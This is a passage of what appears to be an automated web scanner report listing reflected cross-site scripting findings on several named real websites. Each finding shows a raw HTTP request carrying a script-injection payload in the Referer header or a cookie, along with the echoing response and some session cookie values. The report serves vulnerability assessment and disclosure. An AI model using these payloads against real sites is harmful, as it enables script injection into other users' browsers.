Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /modules/buttons/buttons.php?urls=http%3A//www.fotoatelier-berlin.de/%7Chttp%3A//wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html%7Chttp%3A//www.w7o.de/%7Chttp%3A//www.nmworkwear.de/index.php%3FcPath%3D2_3%7Chttp%3A//www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/%7Chttp%3A//wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html%7Chttp%3A//www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/%7Chttp%3A//www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/ HTTP/1.1
Host: www.kledy.de
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=13087'-alert(1)-'3c02ec02ea8
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:10:16 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:10:16 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: referrer=1; path=/; domain=.kledy.de
Content-Type: application/javascript
Content-Length: 17430

var a = document.getElementsByTagName('A');

(function ()
{
var s = document.createElement('LINK');
s1 = document.getElementsByTagName('SCRIPT')[0];
s.type = 'text/css';
s.rel = "style
...[SNIP]...
</div>";
   }
if (a[i].href=='' || a[i].href=='http://www.google.com/search?hl=en&q=13087'-alert(1)-'3c02ec02ea8') {    form=document.createElement("form");
   if (a[i].href)
    form.action = 'http://www.kledy.de/submit.php?url=' + escape(a[i].href);
   else
    form.action = 'http://www.kledy.de/submit.php?url=http
...[SNIP]...

4.685. http://www.protopage.com/ [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.protopage.com
Path:	/

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 594e8'-alert(1)-'df58a5a7282 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET / HTTP/1.1
Host: www.protopage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: 594e8'-alert(1)-'df58a5a7282

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: iu=594e8'-alert(1)-'df58a5a7282; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:05 GMT; Path=/
Expires: Sat, 6 May 1995 12:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: im=p; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:05 GMT; Path=/
Set-Cookie: ipp=protopage/autocreate; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:05 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sun, 06 Feb 2011 16:11:04 GMT
Connection: close

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Pro
...[SNIP]...
":1,"tag":"YP"},{"count":1,"tag":".........."}]); var feedHistory = new Object(); var pageParams = new Object(); pageParams['currentPagePath'] = 'protopage/autocreate'; pageParams['autoAddFeedUrl'] = '594e8'-alert(1)-'df58a5a7282'; pageParams['pagePathAttempted'] = 'protopage/autocreate'; var categories = [{ "id": 1, "virtualPages": [], "sharing": {"type": "public"}, "label": "My public category", "schemeOffset": "
...[SNIP]...

4.686. http://www.salesforce.com/servlet/servlet.WebToLead [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.salesforce.com
Path:	/servlet/servlet.WebToLead

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6b85f'-alert(1)-'16845b9d6f0 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

GET /servlet/servlet.WebToLead HTTP/1.1
Host: www.salesforce.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=6b85f'-alert(1)-'16845b9d6f0

Response

HTTP/1.1 200 OK
Server: SFDC
Is-Processed: true
Content-Type: text/html
Date: Sat, 05 Feb 2011 22:09:38 GMT
Connection: close
Content-Length: 498

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<meta http-equiv="Refresh" content="0; URL=http://www.google.com/search?hl=en
...[SNIP]...
<script>
if (window.location.replace){
window.location.replace('http://www.google.com/search?hl=en&q=6b85f'-alert(1)-'16845b9d6f0');
} else {;
window.location.href ='http://www.google.com/search?hl=en&q=6b85f'-alert(1)-'16845b9d6f0';
}
</script>
...[SNIP]...

4.687. https://www.salesforce.com/servlet/servlet.WebToLead [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.salesforce.com
Path:	/servlet/servlet.WebToLead

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a87a4'-alert(1)-'332831740db was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Request

Response

HTTP/1.1 200 OK
Server: SFDC
Is-Processed: true
Content-Type: text/html
Date: Sat, 05 Feb 2011 22:09:46 GMT
Connection: close
Content-Length: 498

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html>
<head>
<meta HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
<meta http-equiv="Refresh" content="0; URL=http://www.google.com/search?hl=en
...[SNIP]...
<script>
if (window.location.replace){
window.location.replace('http://www.google.com/search?hl=en&q=a87a4'-alert(1)-'332831740db');
} else {;
window.location.href ='http://www.google.com/search?hl=en&q=a87a4'-alert(1)-'332831740db';
}
</script>
...[SNIP]...

4.688. https://www.slackinc.com/subscribe/newsubs/atshcstep1.asp [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.slackinc.com
Path:	/subscribe/newsubs/atshcstep1.asp

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4badd"><script>alert(1)</script>e85683b5f8e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /subscribe/newsubs/atshcstep1.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=4badd"><script>alert(1)</script>e85683b5f8e

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 2616
Content-Type: text/html
Expires: Sat, 05 Feb 2011 22:08:58 GMT
Set-Cookie: ASPSESSIONIDCACARTTB=ILBALOKCLOOOFFHOCCLCGBLH; path=/
Cache-control: no-cache

<html>
<head>
<title>Athletic Training & Sports Health Care Subscription</title>
</head>
<style>
a,body,td, p, blockquote, H5 { font-family: arial, helvetica, sans-serif; font-size:12px;
...[SNIP]...
<input type="hidden" name="referer" value="http://www.google.com/search?hl=en&q=4badd"><script>alert(1)</script>e85683b5f8e">
...[SNIP]...

4.689. https://www.slackinc.com/subscribe/newsubs/otistep1.asp [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://www.slackinc.com
Path:	/subscribe/newsubs/otistep1.asp

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6715"><script>alert(1)</script>b8dcd15839f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /subscribe/newsubs/otistep1.asp HTTP/1.1
Host: www.slackinc.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=d6715"><script>alert(1)</script>b8dcd15839f

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:51 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 2598
Content-Type: text/html
Expires: Sat, 05 Feb 2011 22:08:51 GMT
Set-Cookie: ASPSESSIONIDCACARTTB=BHBALOKCGKLINLCECBKOMGBN; path=/
Cache-control: no-cache

<html>
<head>
<title>Orthopaedics Today Europe Subscription</title>
</head>
<style>
a,body,td, p, blockquote, H5 { font-family: arial, helvetica, sans-serif; font-size:12px; }
H4 { font-
...[SNIP]...
<input type="hidden" name="referer" value="http://www.google.com/search?hl=en&q=d6715"><script>alert(1)</script>b8dcd15839f">
...[SNIP]...

4.690. http://www.splunk.com/index.php/sso_checker [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www.splunk.com
Path:	/index.php/sso_checker

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 9d42c--><script>alert(1)</script>aa4b544d90d was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index.php/sso_checker HTTP/1.1
Host: www.splunk.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Enabled=true; __utmz=204527314.1296947359.3.3.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/35; XARAYASID=f9dtn7oaue1nupeh7s4dpfokt0; splunk_com_uid=1; Apache=173.193.214.243.1296947376244858; __kti=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; splunk_com_xt_uid=1; PHPSESSID=afumuefdbn5a7tsaitu6o38uq5; __ktv=b41b-2a6a-eded-246412df7cd0af7; __utma=204527314.226449434.1296942566.1296942985.1296947359.3; __utmc=204527314; __utmb=204527314.1.10.1296942566; __kts=1296942566134,http%3A%2F%2Fwww.splunk.com%2Fdownload%3Fac%3DAdwords_Unix%26_kk%3Dunix%2520server%26_kt%3Dc6320b89-e2a5-4dbf-a9d0-dd556bdb1c51%26gclid%3DCPeW6bn_8aYCFcfe4Aod22SxHw,http%3A%2F%2Fpagead2.googlesyndication.com%2Fpagead%2Fimgad%3Fid%3DCK6sofbu_LPoWxDYBRhaMgh0G7V5PxSHIg; __ktt=ea5-22fb-55cd-38e12df7cd0af8;
Referer: 9d42c--><script>alert(1)</script>aa4b544d90d

Response (redirected)

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:02:45 GMT
Server: Apache/2.2.8 (EL)
Vary: Host,Accept-Encoding,User-Agent
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 18315

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xmlns:dc="http://purl.org/dc/e
...[SNIP]...
<script>alert(1)</script>aa4b544d90d?id=173.193.214.243.1296947376244858 -->
...[SNIP]...

4.691. http://ar.voicefive.com/bmx3/broker.pli [UID cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the UID cookie is copied into the HTML document as plain text between tags. The payload 2759a<script>alert(1)</script>1bb4d3cca3c was submitted in the UID cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637072 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p68511049=exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; UID=1d29d89e-72.246.30.75-12944568102759a<script>alert(1)</script>1bb4d3cca3c

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:04 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:04 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:04 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1296999604; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25239

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264255445",Pid:"p68511049",Arc:"185637072",Location:
...[SNIP]...
);
}else{if(window.attachEvent){return window.attachEvent("onload",C.OnReady.onload);
}}}}}},f:[],done:false,timer:null};})();}COMSCORE.BMX.Broker.Cookies={ "UID": '1d29d89e-72.246.30.75-12944568102759a<script>alert(1)</script>1bb4d3cca3c', "ar_p67161473": 'exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&', "ar_p85001580": 'exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb
...[SNIP]...

4.692. http://ar.voicefive.com/bmx3/broker.pli [ar_p45555483 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p45555483 cookie is copied into the HTML document as plain text between tags. The payload a34ba<script>alert(1)</script>3f699f38ea9 was submitted in the ar_p45555483 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637072 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&a34ba<script>alert(1)</script>3f699f38ea9; ar_p68511049=exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:02 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:02 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:02 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1296999602; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25239

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264255445",Pid:"p68511049",Arc:"185637072",Location:
...[SNIP]...
d Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&', "ar_p45555483": 'exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&a34ba<script>alert(1)</script>3f699f38ea9', "ar_p83612734": 'exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&', "ar_p68511049": 'exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:1
...[SNIP]...

4.693. http://ar.voicefive.com/bmx3/broker.pli [ar_p67161473 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p67161473 cookie is copied into the HTML document as plain text between tags. The payload 99107<script>alert(1)</script>48b53053bd9 was submitted in the ar_p67161473 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637072 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
Referer: http://redacted/MRT/iview/264255445/direct;wi.300;hi.250/01/1354764918?click=http://adclick.g.doubleclick.net/aclk%3Fsa%3DL%26ai%3DBcyT_rqROTdLmI6iAlgf8zqmDD8WH7_4Bldn30BfAjbcB4JPpARABGAEg0OXxAjgAYMmGo4fUo4AQsgEIdGlwZC5jb226AQozMDB4MjUwX2FzyAEJ2gEYaHR0cDovL3RpcGQuY29tL3JlZ2lzdGVy4AEDuAIYyAKt1cMb4AIA6gIcdGlwZC1PdGhlcnMyX3NpZGViYXJfMzAweDI1MJAD6AKYA-gCqAMB0QNO9fRQWewlKugDhwfoA2voA-AC6APrBPUDAAIAxOAEAQ%26num%3D1%26sig%3DAGiWqtxTgjZHpd2on74ev1YZd4H94e6BEA%26client%3Dca-pub-7786708287155161%26adurl%3D
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p67161473=exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&99107<script>alert(1)</script>48b53053bd9; ar_p83612734=exp=1&initExp=Fri Jan 28 22:52:05 2011&recExp=Fri Jan 28 22:52:05 2011&prad=57555319&arc=39967551&; ar_p45555483=exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:32:02 2011&prad=59007464&arc=38601779&; ar_p68511049=exp=5&initExp=Mon Jan 31 16:31:23 2011&recExp=Mon Jan 31 17:13:10 2011&prad=264243128&arc=186035359&; ar_p85001580=exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&; UID=1d29d89e-72.246.30.75-1294456810

Response

HTTP/1.1 200 OK
Server: nginx
Date: Sun, 06 Feb 2011 13:40:01 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p68511049=exp=6&initExp=Mon Jan 31 16:31:23 2011&recExp=Sun Feb 6 13:40:01 2011&prad=264255445&arc=185637072&; expires=Sat 07-May-2011 13:40:01 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1296999601; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25239

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"264255445",Pid:"p68511049",Arc:"185637072",Location:
...[SNIP]...
();}COMSCORE.BMX.Broker.Cookies={ "UID": '1d29d89e-72.246.30.75-1294456810', "ar_p67161473": 'exp=1&initExp=Sat Jan 8 03:20:09 2011&recExp=Sat Jan 8 03:20:09 2011&prad=55352400&cpn=4&arc=38899481&99107<script>alert(1)</script>48b53053bd9', "ar_p85001580": 'exp=43&initExp=Wed Jan 26 20:14:29 2011&recExp=Sat Feb 5 15:06:35 2011&prad=58087444&arc=40401508&', "ar_p45555483": 'exp=1&initExp=Sat Jan 29 01:32:02 2011&recExp=Sat Jan 29 01:
...[SNIP]...

4.694. http://ar.voicefive.com/bmx3/broker.pli [ar_p68511049 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p68511049 cookie is copied into the HTML document as plain text between tags. The payload 6f161<script>alert(1)</script>116bcb4cb71 was submitted in the ar_p68511049 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p68511049&PRAd=264255445&AR_C=185637072 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
